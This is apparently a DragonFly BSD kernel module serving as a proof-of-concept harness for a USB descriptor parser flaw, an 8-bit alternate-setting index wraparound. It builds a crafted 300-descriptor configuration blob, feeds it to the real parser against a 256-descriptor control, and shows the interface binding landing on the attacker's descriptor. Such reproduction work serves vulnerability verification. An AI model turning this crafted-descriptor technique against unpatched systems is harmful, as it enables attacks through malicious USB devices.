/*
 * DF-5584 PoC harness -- uint8_t iface_index_alt wraparound in
 * usb_idesc_foreach() (sys/bus/u4b/usb_parse.c:150), missing the
 * upstream FreeBSD fix (commit 6da5df47, PR 251856, 2020-12-15).
 *
 * This KLD calls the REAL in-kernel parser symbols:
 *   usb_idesc_foreach()  -- the descriptor walk under audit
 *   usbd_get_no_alts()   -- the alt-count used to validate SET_INTERFACE
 *
 * Blob: one valid UDESC_CONFIG header + N interface descriptors that ALL
 * share bInterfaceNumber=0 (i.e. N "alternate settings" of one interface),
 * each with a unique bAlternateSetting / bInterfaceSubClass byte so we can
 * tell exactly which descriptor the walk is on.
 *
 * Expected on the vulnerable DragonFly kernel:
 *   walk position 257 -> iface_index_alt wraps 255 -> 0
 *   (idesc#1 alt=0 ... idesc#256 alt=255, idesc#257 alt=0 AGAIN)
 * Control blob with exactly 256 alts must NOT wrap.
 *
 * TEST 3 replicates the exact matching loop of usb_config_parse()
 * (sys/bus/u4b/usb_device.c:753-826, static -> replicated verbatim in
 * shape) to show the downstream effect: a full USB_CFG_INIT for alt 0
 * would match BOTH the real alt-0 descriptor and the wrapped #257 one,
 * leaving iface->idesc pointing at the attacker's 257th descriptor.
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/bus.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usbdi_util.h>

#define	BLOB_N_IFACE	300		/* > 256 same-numbered idescs */
#define	CTRL_N_IFACE	256		/* exactly at the boundary */

static MALLOC_DEFINE(M_ALTWRAP, "altwrap", "DF-5584 crafted config blob");

static uint8_t *
build_blob(int n, int *plen)
{
	int total = 9 + 9 * n;
	uint8_t *b = kmalloc(total, M_ALTWRAP, M_WAITOK | M_ZERO);
	int i;

	/* valid 9-byte UDESC_CONFIG header */
	b[0] = 9;			/* bLength */
	b[1] = UDESC_CONFIG;		/* bDescriptorType */
	b[2] = total & 0xFF;		/* wTotalLength (LE) */
	b[3] = (total >> 8) & 0xFF;
	b[4] = 1;			/* bNumInterface */
	b[5] = 1;			/* bConfigurationValue */
	b[6] = 0;			/* iConfiguration */
	b[7] = 0x80;			/* bmAttributes */
	b[8] = 50;			/* bMaxPower */

	for (i = 0; i < n; i++) {
		uint8_t *d = b + 9 + 9 * i;

		d[0] = 9;		/* bLength */
		d[1] = UDESC_INTERFACE;
		d[2] = 0;		/* bInterfaceNumber: ALL THE SAME */
		d[3] = i & 0xFF;	/* bAlternateSetting */
		d[4] = 0;		/* bNumEndpoints */
		d[5] = 0xFF;		/* bInterfaceClass */
		d[6] = i & 0xFF;	/* bInterfaceSubClass: per-descriptor tag */
		d[7] = 0;		/* bInterfaceProtocol */
		d[8] = 0;		/* iInterface */
	}
	*plen = total;
	return (b);
}

/*
 * Walk the blob with the REAL usb_idesc_foreach() and report the alt
 * sequence.  Returns the 1-based walk position where the 8-bit alt index
 * wrapped back to 0, or 0 if no wrap.
 */
static int
walk_and_report(uint8_t *blob, int n, const char *tag)
{
	struct usb_idesc_parse_state ips;
	struct usb_interface_descriptor *id;
	int nth = 0, wrap_at = 0, max_alt = -1;

	memset(&ips, 0x00, sizeof(ips));
	while ((id = usb_idesc_foreach((struct usb_config_descriptor *)blob,
	    &ips)) != NULL) {
		nth++;
		if (nth <= 2 || nth >= 255)
			kprintf("ALTWRAP: %s idesc#%3d: iface_index=%d "
			    "iface_index_alt=%3d bAlternateSetting=%3d "
			    "subclass(tag)=%3d\n", tag, nth, ips.iface_index,
			    ips.iface_index_alt, id->bAlternateSetting,
			    id->bInterfaceSubClass);
		if (ips.iface_index_alt > max_alt)
			max_alt = ips.iface_index_alt;
		if (nth > 1 && ips.iface_index_alt == 0 && wrap_at == 0)
			wrap_at = nth;
	}
	kprintf("ALTWRAP: %s walk ended: %d/%d descriptors returned, "
	    "max_alt=%d, WRAP_AT=%d\n", tag, nth, n, max_alt, wrap_at);
	return (wrap_at);
}

/*
 * Replica of the matching core of usb_config_parse()
 * (sys/bus/u4b/usb_device.c:753-826): a full USB_CFG_INIT pass selecting
 * alt_index=0 (the "default setting" selection done at every
 * usbd_set_config_index()).  Static function, so the logic is replicated
 * 1:1 in shape; the walk itself still uses the real usb_idesc_foreach().
 */
static void
replica_config_parse_init_alt0(uint8_t *blob)
{
	struct usb_idesc_parse_state ips;
	struct usb_interface_descriptor *id;
	int matches = 0, last_tag = -1;

	memset(&ips, 0x00, sizeof(ips));
	while ((id = usb_idesc_foreach((struct usb_config_descriptor *)blob,
	    &ips)) != NULL) {
		/* usb_device.c:760-770: iface_index==ANY && alt_index(0) ==
		 * ips.iface_index_alt(0) -> do_init = 1 */
		if (ips.iface_index_alt == 0) {
			matches++;
			last_tag = id->bInterfaceSubClass;
			/* usb_device.c:782: iface->idesc = id; (last wins) */
		}
	}
	kprintf("ALTWRAP: replica usb_config_parse(INIT, alt=0): "
	    "do_init matched %d descriptors; iface->idesc would land on "
	    "descriptor with subclass(tag)=%d (%s)\n", matches, last_tag,
	    matches > 1 ? "ALIASED onto wrapped descriptor" :
	    "first alt-0 only");
}

static void
altwrap_run(void)
{
	uint8_t *blob;
	int wrap_evil, wrap_ctrl;
	uint8_t n_alts;

	int plen;

	kprintf("ALTWRAP: === TEST 1: %d same-numbered interface "
	    "descriptors (evil device) ===\n", BLOB_N_IFACE);
	blob = build_blob(BLOB_N_IFACE, &plen);
	wrap_evil = walk_and_report(blob, BLOB_N_IFACE, "EVIL");

	n_alts = usbd_get_no_alts((struct usb_config_descriptor *)blob,
	    (struct usb_interface_descriptor *)(blob + 9));
	kprintf("ALTWRAP: usbd_get_no_alts()=%d while true alt count=%d "
	    "(usb_check_alt_setting bound vs. walk reality)\n",
	    n_alts, BLOB_N_IFACE);

	kprintf("ALTWRAP: === TEST 2: replica of usb_config_parse full INIT "
	    "selecting alt 0 ===\n");
	replica_config_parse_init_alt0(blob);
	kfree(blob, M_ALTWRAP);

	kprintf("ALTWRAP: === TEST 3 (control): exactly 256 alts ===\n");
	blob = build_blob(CTRL_N_IFACE, &plen);
	wrap_ctrl = walk_and_report(blob, CTRL_N_IFACE, "CTRL");
	kfree(blob, M_ALTWRAP);

	if (wrap_evil > 0 && wrap_ctrl == 0)
		kprintf("ALTWRAP: RESULT: WRAP_REPRODUCED "
		    "(evil wrap at idesc#%d; 256-alt control clean)\n",
		    wrap_evil);
	else
		kprintf("ALTWRAP: RESULT: NO_WRAP "
		    "(evil=%d ctrl=%d) -- kernel already fixed?\n",
		    wrap_evil, wrap_ctrl);
}

static int
altwrap_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		altwrap_run();
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t altwrap_mod = { "altwrap", altwrap_modevent, NULL };
DECLARE_MODULE(altwrap, altwrap_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(altwrap, 1);